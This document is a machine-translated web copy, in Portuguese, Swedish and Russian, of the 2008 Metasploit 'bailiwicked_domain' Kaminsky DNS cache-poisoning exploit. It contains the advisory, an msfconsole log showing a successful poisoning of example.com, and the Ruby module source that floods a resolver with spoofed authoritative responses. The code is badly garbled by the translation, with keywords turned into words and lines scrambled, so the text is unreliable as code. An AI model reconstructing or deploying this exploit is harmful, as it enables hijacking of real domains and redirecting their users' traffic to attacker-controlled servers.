red.metasploit.com/m), t_port = $1.split (“: ”)
esporte = print_status
de t_port.to_i (“comutar ao porto do alvo # {esporte} baseou no serviço de Metasploit”
se alvo! = print_status
do t_addr (“advertindo: o endereço do alvo # {alvo} não é o endereço da fonte da pergunta o mesmo como dos nameserver # {t_addr}! da “
a extremidade
da extremidade
da extremidade
da extremidade
extremidade
# verifica que seu envenenado não já
comece
a pergunta = o Resolv: NS:: Message.new
query.add_question (domínio, Resolv: NS:: Recurso:: EM:: O NS)
query.rd = 0
começa
cached = resposta
falsa, addr =
srv_sock.recvfrom de srv_sock.put (query.encode) ()
se resposta e answer.length > 0
respostas = Resolv: NS:: Message.decode (resposta)
answer.each_answer |nome, ttl, dados|
se ((name.to_s + “.” domínio do == e newdns do == de data.name.to_s)
t = Time.now + print_status
do ttl (“falha: Este domínio está usando-se já # {newdns} enquanto print_status de um nameserver
" (“a entrada do esconderijo expira em # {t.to_s} de”
extremidade
da extremidade
da extremidade
da extremidade
do retorno
do disconnect_ip
srv_sock.close até que salvamento
cached:: Aumento
$ da interrupção!
salvamento:: Print_status do => e
da exceção (de “verificar erro o nome do DNS: # {e.class} # {e} # {e.backtrace} “
extremidade
res0 = rede: NS:: Resolver.new (: => dos nameservers [recons], => do ns_search falso: o => recursive verdadeiro) # print_status do resolver
do reconhecimento “que alveja o nameserver # {alvo} para a injeção de # nameservers {do domínio} como # {newdns}”
# olha acima os nameservers para o print_status
do domínio “que pergunta o nameserver recon para # {domínio} 'nameservers de s…”
answer0 = res0.send (domínio, rede: NS:: Barbs das autoridades
do #print_status do NS) “a resposta começada com # as respostas {answer0.header.anCount}, # {answer0.header.nsCount}
” = [] # armazenamento para os nameservers
answer0.answer.each faz |rr0|
o print_status “começou # o registro {rr0.type}: # {rr0.inspect} “
se do #print_status do hostname “do NS o”
do == de rr0.type print_status “que pergunta o nameserver recon para o endereço de # {rr0.nsdname}
…” answer1 = res0.send (rr0.nsdname) # começar a resposta do ns para
resposta começada “com # as respostas {answer1.header.anCount}, # as autoridades {answer1.header.nsCount}”
answer1.answer.each fazem |rr1|
o print_status “começou # o registro {rr1.type}: # {rr1.inspect} “
res2 = rede: NS:: Resolver.new (: => rr1.address dos nameservers, => do ns_search falso: => recursive falso: print_status do => 1 da nova tentativa
) “que verifica Authoritativeness: Perguntar # {rr1.address} para # {domínio}… “
answer2 = res2.send (domínio)
se answer2 e answer2.header.auth? e nsrec do >= 1
de answer2.header.anCount = {: => conhecido rr0.nsdname: os barbs do => rr1.address do addr
} << o print_status
do nsrec “# {rr0.nsdname} são authoritative para # {domínio}, adicionando à lista dos nameservers ao spoof como”
a extremidade
da extremidade
da extremidade
da extremidade
se print_status do == 0
de barbs.length (“nenhum usuário do DNS encontrou. de”
a extremidade
#
a inundação
do retorno
do disconnect_ip srv_sock.close o alvo com perguntas e spoofed as respostas, uma baterão eventualmente
perguntas = as respostas
0 = 0
connect_ip se não print_status
do ip_sock (“tentando injetar registros do veneno para # {domínio} 'nameservers de s em # {alvo}: # {esporte}…”
quando randhost
= Rex verdadeiros:: Text.rand_text_alphanumeric (12) + “.” + o domínio # randomize hostname
# emite spoofed o req
= o Resolv da pergunta: NS:: Message.new
req.id = margem (2 ** 16)
req.add_question (randhost, Resolv: NS:: Recurso:: EM:: A)
req.rd = 1
amarelo = (
Scruby:: IP.new (
#: barbs do => do src [0] [: addr] .to_s
: fonte do => do src,
alvo do => do st,
=> 17)
/Scruby do roto:: UDP.new (
: o => do esporte (margem ((2 ** 16) - 1024) +1024) .to_i,
perguntas portuárias +=
1 do =>
53)
/req.encode) .to_net ip_sock.sendto (lustre
, alvo)
# emite o evil spoofed a resposta de TODOS OS nameservers (barbs [*] [: addr])
req.add_answer (randhost, newttl, Resolv: NS:: Recurso:: EM:: A.new (endereço))
req.add_authority (domínio, newttl, Resolv: NS:: Recurso:: EM:: NS.new (Resolv: NS:: Name.create (newdns)))
req.add_additional (newdns, newttl, Resolv: NS:: Recurso:: EM:: A.new (endereço)) # ignorado
req.qr = 1
req.aa = 1
xidbase.upto (xidbase+xids-1) |identificação|
req.id = a identificação
barbs.each |barb|
lustre = (
Scruby:: IP.new (
#: barbs do => do src [: addr] .to_s
: barb do => do src [: addr] .to_s,
alvo do => do st,
=> 17)
/Scruby do roto:: UDP.new (
: o => 53 do esporte,
extremidade portuária da extremidade
das respostas +=
1 do =>
sport.to_i) /req.encode) .to_net ip_sock.sendto
(lustre,
alvo
)
# update do status
se % do print_status 1000 do == 0
das perguntas (“emitido # as perguntas {das perguntas} e # {respostas} spoofed extremidade das respostas…
”
# cada assim frequentemente, verificação e vê se o alvo for envenenado…
se % do == 0 das perguntas 250
começarem
a pergunta = o Resolv: NS:: Message.new
query.add_question (domínio, Resolv: NS:: Recurso:: EM:: NS)
query.rd = 0
respostas, addr =
srv_sock.recvfrom de srv_sock.put (query.encode) ()
se resposta e answer.length > 0
respostas = Resolv: NS:: Message.decode (resposta)
answer.each_answer |nome, ttl, dados|
se ((name.to_s + “.” domínio do == e print_status dos newdns do == de data.name.to_s
) (o “envenenamento bem sucedido após # {perguntas} tenta: # == {do domínio} # {newdns} de “
salvamento
do fim
da extremidade
da extremidade
do retorno
do disconnect_ip
srv_sock.close:: Aumento
$ da interrupção!
salvamento:: Print_status do => e
da exceção (“erro que pergunta o nome do DNS: # {e.class} # {e} # {e.backtrace} da “
extremidade
da extremidade
da extremidade
da extremidade
da extremidade
extremidade
dns-skavankjuli 2008 attack kodifierar
Automatically translated into Swedish thanks to WorldLingo
kodifiera/för __ för juillet 2008 för de lattaque surle dns (= faille dns
) en
_/, | | | |
----====####//__ ##//##| |##| |####====----
| | | |__| | | | | |
| | ___ | _ _, | | | | |
------======######//#| |##| |nr. | |##| |######======------
____/ |__| |__| Kodifierar
den akademiska underjordiska http://www.caughq.org
för ______-/
datoren bedriften
LEGITIMATION för ===============-/==================================-
======================bedrift: Frigöraren
CAU-EX-2008-0003 daterar: 2008.07.23
Titel: bailiwicked_domain.rb-
beskrivning: Bedrift för skavank för Kaminsky DNS Cacheförgiftning för testade
områden: RÖRA 9.4.1-9.4.2
attribut: Fjärrkontroll gift, Resolver, Metasploit
bedriftURL: http://www.caughq.org/exploits/CAU-EX-2008-0003.tx- t
författare/e-post: )
=========== för ===============-/==================================-
======================
beskrivning
denna bedrift uppsätta som mål en ganska allestädes närvarande skavank i DNS-genomföranden
som låter införingen av ondsinta DNS-rekord in i cachen av
uppsätta som målnameserveren. Denna bedrift caches ett ondsint nameservertillträde
för singel in i uppsätta som målnameserveren som byter ut de legitima
nameserversna för uppsätta som målområdet. Genom att orsaka uppsätta som målnameserveren till
queryen för slumpmässiga hostnames på uppsätta som målområdet, kan angriparen skoja med
ett svar till uppsätta som målserveren däribland ett svar för queryen,
ett myndighetsserverrekord, och ett extra rekord för den server som
orsakar uppsätta som mål nameserver för att sätta in det extra rekordet in i
cachen. Denna införing byter ut fullständigt de original- nameserver
rekorden för uppsätta som målområdet.
Exempel
=======
nr. ##
för ### för #### för #### för ####
för ## för ##### för ##### för ### för #### för ## för ## för ## för ## för ##
för ## för ## för ##### för ## för ## för ## för ## för ## för ## för ## för ## för ## för ##
för ## för ## för #### för ##### för ## för ###### för ####### för ## för ### för ## för ## för ##
för ## för ## för ## för ## för ## för ## för ## för ####### för ###### för #### för ## för ##### för ##### för ####
för ###### för #### för ## för ## för ## för ## för /msf3/msfconsole ##### nr. ##
##
= [msf v3.2-release
+ -- --= [298 bedrifter - 124 laster
+ -- --= [18 kodare - 6 nops
= [den aux hjälparen
för msf 73 > bruks/parodin/den dns-/bailiwicked_domain
msfhjälparen (bailiwicked_domain) > hjälparen för msf för =>
A.B.C.D för uppsättningen RHOST
A.B.C.D RHOST (bailiwicked_domain) > den fastställda för example.com för =>
för det OMRÅDESexample.com OMRÅDET
hjälparen msf (bailiwicked_domain) > för =>dns01.metasploit.com för uppsättningen
NEWDNS dns01.metasploit.com NEWDNS
hjälparen msf (bailiwicked_domain) > hjälparen för msf för =>
0 för uppsättningen SRCPORT
0 SRCPORT (bailiwicked_domain) > kontrollen
[*] som använder den tjänste- Metasploiten för att verifiera exploitability…,
>> TILLTALA: [*] A.B.C.D-PORT: 50391
[*] >> TILLTALAR: A.B.C.D-PORT: 50391
[*] >> TILLTALAR: A.B.C.D-PORT: 50391
[*] >> TILLTALAR: A.B.C.D-PORT: 50391
[*] >> TILLTALAR: A.B.C.D-PORT: [
*] KUGGNING 50391: Denna server använder statisk elektricitetkällportar och är sårbar till förgiftning
msfhjälparen (bailiwicked_domain) > piken +short - exec för t ns example.com
@A.B.C.D [*]: pik +short - t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
msfhjälpare (bailiwicked_domain) > körd
[*] växling som uppsätta som mål port 50391 som baseras på tjänste- Metasploit
[*] uppsätta som mål nameserver A.B.C.D för injektion av example.com. nameservers som dns01.metasploit.com
[*] som Querying recon nameserver för example.com. 's-nameservers…,
[*] fick ett NS-rekord: example.com. 171957 I NS b.iana-servers.net.
Querying recon nameserver för tilltala av b.iana-servers.net…. [*]
[*] fick ett a-rekord: b.iana-servers.net. 171028 I A 193.0.0.236
[*] som kontrollerar Authoritativeness: Querying 193.0.0.236 för example.com….,
[*] b.iana-servers.net. är auktoritativt för example.com. och att tillfoga för att lista av nameservers för att skoja med som
[*] fånget ett NS-rekord: example.com. 171957 I NS a.iana-servers.net.
Querying recon nameserver för tilltala av a.iana-servers.net…. [*]
[*] fick ett a-rekord: a.iana-servers.net. 171414 I A 192.0.34.43
[*] som kontrollerar Authoritativeness: Querying 192.0.34.43 för example.com….,
[*] a.iana-servers.net. är auktoritativt för example.com. och att tillfoga för att lista av nameservers för att skoja med som
[*] försöka att injicera giftrekord för example.com. 's-nameservers in i A.B.C.D: 50391…,
[*] överfört 1000 queries och 20000 skojade med svar…,
[*] överfört 2000 queries och 40000 skojade med svar…,
[*] överfört 3000 queries och 60000 skojade med svar…,
[*] överfört 4000 queries och 80000 skojade med svar…,
[*] överfört 5000 queries och 100000 skojade med svar…,
[*] överfört 6000 queries och 120000 skojade med svar…,
[*] överfört 7000 queries och 140000 skojade med svar…,
[*] överfört 8000 queries och 160000 skojade med svar…,
[*] överfört 9000 queries och 180000 skojade med svar…,
[*] överfört 10000 queries och 200000 skojade med svar…,
[*] överfört 11000 queries och 220000 skojade med svar…,
[*] överfört 12000 queries och 240000 skojade med svar…,
[*] överfört 13000 queries och 260000 skojade med svar…,
[*] förgifta som är lyckat efter 13250 försök: example.com. utförandet för enheten
för den ==dns01.metasploit.com [*] hjälparen avslutade
msfhjälparen (bailiwicked_domain) > piken +short - exec för t ns example.com
@A.B.C.D [*]: pik +short - t ns example.com @A.B.C.D
dns01.metasploit.com.
Krediterar
=======
Dan som Kaminsky krediteras med upptäckt ursprungligen av denna sårbarhet.
Cedric Blancher utklurat NS-injektionmetoden och
var kyler nog till e-posten oss och aktien!
Hänvisar till
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-- http://www.kb.cert.org/vuls/id/800113
Metasploit
==========
2008-1447
kräver ”msf/kärnar ur”
kräver ”förtjänar/dns”
kräver ”scruby”
kräver ”den resolv”
enheten Msf
klassificerar hjälpare:: Parodi: ns:: BailiWickedDomain < Msf:: Hjälparen
inkluderar bedrift:: Fjärrkontroll:: Ip-
def initialiserar (info = {})
toppet (update_infoen (info,
”känd” =>”områdesattack för DNS BailiWicked”,
”beskrivnings” => %q {
denna bedrift anfaller en ganska allestädes närvarande skavank i DNS-genomföranden, som
Dan Kaminsky grundar, och avslöjde ~Jul 2008. Denna bedrift byter ut tillträdena
för uppsätta som målområdesnameserver i en sårbar DNS-cacheserver. Denna attack fungerar,
genom att överföra slumpmässiga hostname-queries till uppsätta som målDNS-serveren som kopplas ihop med skojade med
svar till de queries från de auktoritativa nameserversna för det område.
Slutligen får en gissad LEGITIMATIONEN ska match, det ska skojade med paketet accepterad, och
nameservertillträdena för det ska uppsätta som målområdet byts ut av serveren som
specificeras i NEWDNS-alternativet av denna bedrift.
}
”vara upphovsman till” ruid
för =>
[”I)”, ”hdm”,
nr.
”Cedric Blancher” nr. utklurade Cedric NS-injektionmetoden
nr. och var kyler nog till e-posten oss och aktien!
nr.
],
”licensera” => MSF_LICENSE,
”versionen” => '$Revision: 5591 $ ',
”hänvisar till” =>
[
[”CVE”, ”2008-1447”],
[”US-CERT-VU”, ”8000113”],
[”URL”, ”DisclosureDate” ”för http://www.caughq.org/exploits/CAU-EX-2008-0003.t- xt
”]
,], => ”Jul 21 2008”
)),
register_options (
[
OptPort.new (”SRCPORT”, [som är riktig, ”uppsätta som målserverens porten för queryen för källa (0 för automatiskt)”, noll]),
OptString.new (”OMRÅDET”, [som är riktigt, ”området som ska kapas”, ”example.com”]),
OptString.new (”NEWDNS”, [som är riktig, ”hostnamen av utbytesDNS-serveren”, noll]),
OptAddress.new (”RECONS”, [som är riktig, ”Nameserver som används för reconnaissance”, ”208.67.222.222”]),
OptInt.new (”XIDS”, [som är riktig, ”numrera av XIDs till försök för varje query”, 10]),,
Avslutar OptInt.new (”TTL”, [som är riktig, ”TTL för det ondsinta NS-tillträdeet”, 31337])
,], self.class
)
defauxiliary_commands som
retur {”kontroll” => ”bestämmer, om den specificerade DNS-serveren (RHOST) är sårbar”}
avslutar
targ för defcmd_check (*args
) = args [0] || rhost ()
om (inte (targ och targ.length > 0))
print_status (”användning: retur för kontroll [dns-server]
”
avslutar
print_status (”genom att använda den tjänste- Metasploiten för att verifiera exploitability…”
srv_sock = Rex:: slumpmässiga
= falska portar för Socket.create_udp (”
PeerHost” =>targ,
”
PeerPort” =>
53) = [
] lport =
noll 1.upto (5) |i|
req = Resolv: NS:: Message.new-
txt = ”spoofprobe-kontrollerar-nr. {I} - nr. {$$} nr. {(randen () *1000000-) .to_i} .red.metasploit.com”
req.add_question (txt, Resolv: NS:: Resurs:: I:: TXT)
req.rd = 1
srv_sock.put (req.encode)
res, addr = srv_sock.recvfrom ()
om res och res.length > 0
res = Resolv: NS:: Message.decode (res)
res.each_answer |namnge ttl, data|
om (name.to_s-==txt och =~/^ för data.strings.join ('') ([^s] +) t_addr för s+.*
red.metasploit.com/m), t_port = $1.split (”: ”)
print_status (”>> TILLTALA: nr. {PORT för t_addr}: nr. {t_port} ”
t_port = t_port.to_i
om (lport och lport! = avslutar riktig
t_port) som är slumpmässig
=,
lport = t_port
ports << t_port
avslutar
avslutar
avslutar
avslutar
srv_sock.close,
om (ports.length < 5)
print_statusen (”OKÄNDA: Denna server svarade inte till våra sårbarhetkontrollförfrågan "
retur
avslutar,
om (den slumpmässiga)
print_statusen (”PASSERA: Denna server använder inte en statisk elektricitetkällport. Portar: nr. {ports.join (”,”} ”
print_status (”denna server kan stilla är exploitable, men inte vid denna bearbetar. ”
annan
print_status (”KUGGNING: Denna server använder statisk elektricitetkällportar och är sårbar till förgiftning "
avslutar
avslutar
defkörning
uppsätta som mål = källan = Rex
för rhost ():: Sport för Socket.source_address (uppsätta som mål
), = område för datastore [”SRCPORT”
] = datastore [”OMRÅDE”] + ”. ”
tilltalar newdns = recons för datastore [”NEWDNS
”] = xids för datastore [”RECONS
”] = newttl för datastore [”XIDS”
] .to_i = xidbasen för datastore [”TTL”
] .to_i = rand (20001) +
20000 = Rex:: Text.rand_text (4) .unpack (”C4” .join (”. ”
srv_sock = Rex:: Socket.create_udp (
”PeerHost” => uppsätta som mål,
”PeerPort” => 53
),
nr. får källporten via metasploiten tjänste-, om den inte är fastställda,
om req = Resolv
för sport.to_i-== 0: NS:: Message.new-
txt = ”spoofprobe-# {$$} nr. {(randen () *1000000) .to_i} .red- .metasploit.com”
req.add_question (txt, Resolv: NS:: Resurs:: I:: TXT)
req.rd = 1
srv_sock.put (req.encode)
res, addr = srv_sock.recvfrom ()
om res och res.length > 0
res = Resolv: NS:: Message.decode (res)
res.each_answer |namnge ttl, data|
om (name.to_s-==txt och =~/^ för data.strings.join ('') ([^s] +) t_addr för s+.*
red.metasploit.com/m), t_port = $1.split (”: ”)
sport = t_port.to_i-
print_status (”växling som uppsätta som mål port nr. {sporten} baserat på tjänste- Metasploit”,
om uppsätta som mål! = t_addr
print_status (”varna: uppsätta som mål tilltalar nr. {uppsätta som mål}, är inte samma som nameserver'snas querykällan tilltalar nr. {t_addr}! ”
avsluta
avslutar
avslutar
avslutar
avslutar
nr. verifierar att dess som inte redan ar förgiftat
börja
queryen = Resolv: NS:: Message.new
query.add_question (området, Resolv: NS:: Resurs:: I:: NS)
query.rd = 0
börjar
cached = det falska
svaret, addr =
srv_sock.recvfrom för srv_sock.put (query.encode) ()
om svaret och answer.length > 0
svar = Resolv: NS:: Message.decode (svar)
answer.each_answer |namnge ttl, data|
om ((name.to_s + ”.”, ==område och data.name.to_s-==newdns)
t = Time.now + ttl-
print_status (”fel: Detta område använder redan nr. {newdns} som print_statusen för en nameserver
" (”Cachetillträdeet förfaller på nr. {t.to_s}”
srv_sock.close-
disconnect_ip
retur
avslutar
avslutar
avslutar
avslutar, tills den inte cached
räddningsaktionen:: Mellanjobb
lönelyft $!
räddningsaktion:: Print_status för undantags=>
e (”kontrollera för fel den kända DNSEN: nr. {e.class} nr. {e} nr. {e.backtrace} ”
avsluta
res0 = förtjänar: NS:: Resolver.new (: nameservers=> [recons], falsk ns_search=>: riktig recursive =>) nr. reconnaissanceresolver
print_statusen ”som uppsätta som mål nameserver nr. {uppsätta som mål}, för injektion av nr. {nameservers för området} som nr. {newdns}”
nr. ser upp nameserversna för områdes
print_statusen ”som Querying recon nameserver för nr. {området} 's-nameservers…”
answer0 = res0.send (området som är netto: NS:: #print_statusen ”
fånget svar för NS) med nr. svar {answer0.header.anCount}, nr. myndigheter {answer0.header.nsCount}”
förse med en hulling = [] nr. lagring för nameservers som
answer0.answer.each gör |rr0|
print_statusen ”fick nr. rekordet {rr0.type}: nr. {rr0.inspect} ”,
om” print_statusen ”som för rr0.type-==
”NS Querying recon nameserver för, tilltalar av nr. {rr0.nsdname}…”
answer1 = res0.send (rr0.nsdname) nr. får ns'sens svar för hostname-
#print_statusen ”fånget svar med nr. svar {answer1.header.anCount}, nr. myndigheter {answer1.header.nsCount}”
answer1.answer.each gör |rr1|
print_statusen ”fick nr. rekordet {rr1.type}: nr. {rr1.inspect} ”
förtjänar res2 =: NS:: Resolver.new (: nameservers=> rr1.address, falsk ns_search=>: falsk recursive =>: försöka igen print_statusen för => 1
) ”som kontrollerar Authoritativeness: Querying nr. {rr1.address} för nr. {området}… ”
answer2 = res2.send (område)
om answer2 och answer2.header.auth? och nsrec för answer2.header.anCount->=
1 = {: känd => rr0.nsdname: addr=> rr1.address}
förse med en hulling << nsrec
print_statusen ”nr. {rr0.nsdname} är auktoritativ för nr. {området} och att tillfoga för att lista av nameservers för att skoja med, som”
avsluta
avslutar
avslutar
avslutar
om print_statusen för barbs.length-==
0 (”inga DNS-serveror grundar. ”
avslutar
srv_sock.close-
disconnect_ip
retur
nr. floden uppsätta som mål med queries, och skojade med svar, en ska slutligen hit
queries = svar
0 = 0
connect_ip, om inte ip_sock
print_statusen (”försöka att injicera giftrekord för nr. {området} 's-nameservers in i nr. {uppsätta som mål}: nr. {sport}…”
fördriva riktiga
randhost = Rex:: Text.rand_text_alphanumeric (12) + ”.”, + randomize området nr. hostname
nr. överför skojad med query
req = Resolv: NS:: Message.new
req.id = rand (2 ** 16)
req.add_question (randhost, Resolv: NS:: Resurs:: I:: A)
req.rd = 1
fantast = (
Scruby:: IP.new (
nr.: src=>taggar [0] [: addr] .to_s
: src=>källan,
st-=> uppsätta som mål,
roto=> 17
) /Scruby:: UDP.new (
: sport=> (rand ((2 ** 16) - 1024) +1024) .to_i,
port queries +=
1 för =>
53)
/req.encode) .to_net ip_sock.sendto (fantasten
, uppsätta som mål),
nr. överför ondskan skojat med svar från ALLA nameservers (taggar [*] [: addr])
req.add_answer (randhost, newttl, Resolv: NS:: Resurs:: I:: A.new (tilltala)),
req.add_authority (område, newttl, Resolv: NS:: Resurs:: I:: NS.new (Resolv: NS:: Name.create (newdns)))
req.add_additional (newdns, newttl, Resolv: NS:: Resurs:: I:: A.new (tilltala)), Nr. ignorerat
req.qr =
1 req.aa =
1 xidbase.upto (xidbase+xids-1) |ID|
req.id = ID
barbs.each |tagg|
fantast = (
Scruby:: IP.new (
nr.: src=>taggar [: addr] .to_s
: src=>tagg [: addr] .to_s,
st-=> uppsätta som mål,
roto=> 17
) /Scruby:: UDP.new (
: sport=> 53,
port svar för =>
sport.to_i)
/req.encode)
.to_net ip_sock.sendto (fantasten, uppsätta som mål
) som, += 1
avslutar
avslutar
nr. statusuppdateringen
, om print_status 1000 för queries% ==
0 (”överfört nr. {queries för queries} och nr. {svar} skojade med svar…”
avslutar
nr. varje så ofta, kontrollerar och ser, om uppsätta som mål förgiftas…,
om queries% 250 == 0
börjar
query = Resolv: NS:: Message.new
query.add_question (området, Resolv: NS:: Resurs:: I:: NS)
query.rd = 0
svar, addr =
srv_sock.recvfrom för srv_sock.put (query.encode) ()
om svar och answer.length > 0
svar = Resolv: NS:: Message.decode (svar)
answer.each_answer |namnge ttl, data|
om ((name.to_s + ”.”, ==område och print_status för data.name.to_s-==newdns
) (”förgiftning som är lyckad efter nr. {försök för queries}: nr. {avslutar == för område} nr. {newdns}
”
srv_sock.close-
disconnect_ip
retur
avslutar
avslutar
räddningsaktion:: Mellanjobb
lönelyft $!
räddningsaktion:: Print_status för undantags=>
e (”felet som querying den kända DNSEN: nr. {e.class} nr. {e} nr. {e.backtrace} ”
avsluta
avslutar
avslutar
avslutar
avslutar
avslutar
Кодий нападения июля 2008 рванины dns
Automatically translated into Russian thanks to WorldLingo
/__ juillet 2008 en le dns sur Кодего de lattaque (= faille
dns)
_/ | | | |
----====####//__ ##//##| |##| |####====----
| | | |__| | | | | |
| | ___ | _ _ | | | | |
------======######//#| |##| |#| |##| |######======------
____/ |__| |__| Удостоверение личности
подвига ====================== Кодего
===============/==================================-
подвига http://www.caughq.org
компьютера ______/
академичное подземное: Официальная дата начала распределения продукции
CAU-EX-2008-0003: 2008.07.23
Название: описание
bailiwicked_domain.rb: Подвиг рванины отравлением тайника Kaminsky DNS для испытанных
доменов: Атрибуты BIND
9.4.1-9.4.2: Remote, отрава, решающий прибор, URL
подвига Metasploit: автор http://www.caughq.org/exploits/CAU-EX-2008-0003.tx-
t/Email: )
=========== описания
======================
===============/==================================-
этот подвиг пристреливает справедливо ubiquitous рванину в вставках DNS
позволяют ввод злостых показателей DNS в тайник
nameserver цели. Этот подвиг прячет одиночный злостый вход в тайнике
nameserver в nameserver цели заменяет ть правомерные
nameservers для домена цели. Путем причинять nameserver цели
запросить для случайно hostnames на домене цели, spoof чонсервной банкы атакующего
реакция к серверу цели включая ответ для query,
показателе сервера авторитета, и дополнительном показателе для того сервера,
причиняя nameserver цели ввести дополнительный показатель в
тайник. Этот ввод вполне заменяет ть первоначально показатели
nameserver для домена цели.
##
###
#### ####
#### ## ##### #####
### #### ## ## ## ## ## ## ## #####
## ## ## ## ## ## # ## ## ## ## ## ##
## ## #### ##### ## ###### ####### ## ### ## ## ##
## ## ## ## ## ## ## ####### ###### #### ## ##### ##### ####
###### #### ## ## ## ## ### ## # /msf3/msfconsole =======
примера
= [msf v3.2-release
+ -- --= [298 подвигов - 124 полезной нагрузки
+ -- --= [18 шифраторов - 6 nops
= [auxiliary вспомогательного
msf 73 > пользы/spoof/auxiliary msf dns
/bailiwicked_domain (bailiwicked_domain) > установил auxiliary msf
=> A.B.C.D RHOST
A.B.C.D RHOST (bailiwicked_domain) > установил auxiliary msf
example.com => ДОМЕНА
example.com ДОМЕНА (bailiwicked_domain) > установил auxiliary msf
dns01.metasploit.com => NEWDNS
dns01.metasploit.com NEWDNS (bailiwicked_domain) > установил auxiliary msf
=> 0 SRCPORT
0 SRCPORT (bailiwicked_domain) > проверка
[*] используя обслуживание Metasploit для проверки exploitability…
[*] >> АДРЕС: ПОРТ A.B.C.D: 50391
[*] >> АДРЕС: ПОРТ A.B.C.D: 50391
[*] >> АДРЕС: ПОРТ A.B.C.D: 50391
[*] >> АДРЕС: ПОРТ A.B.C.D: 50391
[*] >> АДРЕС: ПОРТ A.B.C.D: [
*] ТЕРПЕТЬ НЕУДАЧУ 50391: Этот сервер использует статические порты источника и уязвим к auxiliary
msf отравлением (bailiwicked_domain) > dig +short - exec t ns example.com
@A.B.C.D [*]: dig +short - t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
auxiliary msf (bailiwicked_domain) > бежит
[*] переключение для того чтобы пристрелть порт 50391 основанный на обслуживании Metasploit
[*] пристреливая nameserver A.B.C.D для впрыски example.com. nameservers как dns01.metasploit.com
[*] запрашивая recon nameserver для example.com. 'nameservers s…
[*] получил показатель NS: example.com. 171957 В NS b.iana-servers.net.
[*] запрашивающ recon nameserver для адреса b.iana-servers.net….
[*] получил показатель a: b.iana-servers.net. 171028 В a 193.0.0.236
[*] проверяя Authoritativeness: Запрашивающ 193.0.0.236 для example.com….
[*] b.iana-servers.net. будет авторитетно для example.com. , добавляющ к перечню nameservers к spoof как
[*] получено показатель NS: example.com. 171957 В NS a.iana-servers.net.
[*] запрашивающ recon nameserver для адреса a.iana-servers.net….
[*] получил показатель a: a.iana-servers.net. 171414 В a 192.0.34.43
[*] проверяя Authoritativeness: Запрашивающ 192.0.34.43 для example.com….
[*] a.iana-servers.net. будет авторитетно для example.com. , добавляющ к перечню nameservers к spoof как
[*] пытающ для того чтобы впрыснуть показатели отравы для example.com. 'nameservers s в A.B.C.D: 50391…
[*] послано 1000 queries и 20000 spoofed реакции…
[*] послано 2000 queries и 40000 spoofed реакции…
[*] послано 3000 queries и 60000 spoofed реакции…
[*] послано 4000 queries и 80000 spoofed реакции…
[*] послано 5000 queries и 100000 spoofed реакции…
[*] послано 6000 queries и 120000 spoofed реакции…
[*] послано 7000 queries и 140000 spoofed реакции…
[*] послано 8000 queries и 160000 spoofed реакции…
[*] послано 9000 queries и 180000 spoofed реакции…
[*] послано 10000 queries и 200000 spoofed реакции…
[*] послано 11000 queries и 220000 spoofed реакции…
[*] послано 12000 queries и 240000 spoofed реакции…
[*] послано 13000 queries и 260000 spoofed реакции…
[*] отравлять успешно после 13250 попыток: example.com. исполнение модуля
dns01.metasploit.com == [*] вспомогательное завершило
auxiliary msf (bailiwicked_domain) > dig +short - exec t ns example.com
@A.B.C.D [*]: dig +short - t ns example.com @A.B.C.D
dns01.metasploit.com.
=======
Дэн
Kaminsky кредитов чредитовано с первоначально открывать это уязвимость.
после того как я вычислило вне методу впрыски NS и
было холодно достаточно к email мы и доля!
Справки
==========
2008-1447 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE--
http://www.kb.cert.org/vuls/id/800113
Metasploit, котор
==========
требует «msf/сердечник»
требуют «сеть/dns»
требуют «scruby»
требуют Auxiliary типа Msf
модуля «
resolv»:: Spoof: ns:: BailiWickedDomain < Msf:: Auxiliary
вклюает подвиг:: Remote:: Def
Ip выступает (info = {})
супер с иничиативой (update_info (info,
=> %q «описания»» => ««имени нападение
домена DNS BailiWicked», {
этот подвиг атакует справедливо ubiquitous рванину в вставках DNS которым
Дэн Kaminsky считало и показывало ~ июль 2008. Этот подвиг заменяет ть входы
nameserver доменов цели в уязвимый сервера тайника DNS. Это нападение работает
путем посылка случайно queries hostname к серверу DNS цели соединенному с spoofed
ответы к тем queries от авторитетных nameservers для того домена.
Окончательн, угаданное удостоверение личности будет сопрягать, spoofed пакет получит принято, и
входы nameserver для домена цели будут заменены сервером
определенным в варианте NEWDNS этого подвига.
},
«автор» ruid
=>
[«I)», «hdm»,
Blancher # «Cedric [на] rstack.org>» # Cedric вычислял вне метод # впрыски
NS и был холодн достаточно к email мы и доля!
#
],
«лицензия» => MSF_LICENSE,
«вариант» => '$Revision: 5591 $ ',
«справок» [
[
«CVE», «2008-1447»], [
«US-CERT-VU», «8000113»], [
«URL», «=> xt http://www.caughq.org/exploits/CAU-EX-2008-0003.t-»],
],
=> «21-ое июль 2008» «DisclosureDate»
))
register_options (
[
OptPort.new («SRCPORT», [поистине, «порт query источника сервера цели (0 для автоматического)», nil]),
OptString.new («ДОМЕН», [поистине, «домен к hijack», «example.com»]),
OptString.new («NEWDNS», [поистине, «hostname сервера DNS замены», nil]),
OptAddress.new («RECONS», [поистине, «Nameserver используемое для рекогносцировки», «208.67.222.222»]),
OptInt.new («XIDS», [true, «номер XIDs для того чтобы попытаться для каждого query», 10]),
OptInt.new («TTL», [поистине, «TTL для злостого входа NS», 31337]),
], targ cmd_check
def
конца возвращения
auxiliary_commands def конца self.class) {» => ««проверки обусловливает если определенный сервер DNS (RHOST)
уязвим»}, то (*args
) = args [0] || rhost ()
если (не, то (targ и targ.length > 0))
print_status («использование: print_status конца проверки [dns-сервера
]
«
возвращенное («использующ обслуживание Metasploit для проверки srv_sock = Rex
exploitability…»:: Порты Socket.create_udp
(targ => «PeerHost»
, => 53 «PeerPort
»
) случайно =
ложные = []
lport = nil
1.upto (5) делают |iий|
req = Resolv: NS:: Txt
Message.new = «spoofprobe-проверяет-# {I} - # {$$} # {(rand () *1000000-) .to_i} .red.metasploit.com»
req.add_question (txt, Resolv: NS:: Ресурс:: В:: TXT)
req.rd = 1
srv_sock.put (req.encode)
res, addr = srv_sock.recvfrom ()
если res и res.length > 0
res = Resolv:, тоNS:: Message.decode (res)
res.each_answer делают |имя, ttl, данные|
если (txt == name.to_s и =~/^ data.strings.join ('') ([^s] +) t_addr s+.*
red.metasploit.com/m), t_port = $1.split, то («: »)
print_status («>> АДРЕС: ПОРТ # {t_addr}: t_port # {t_port}
«= t_port.to_i
если (lport и lport! = lport t_port
) случайно =
поистине
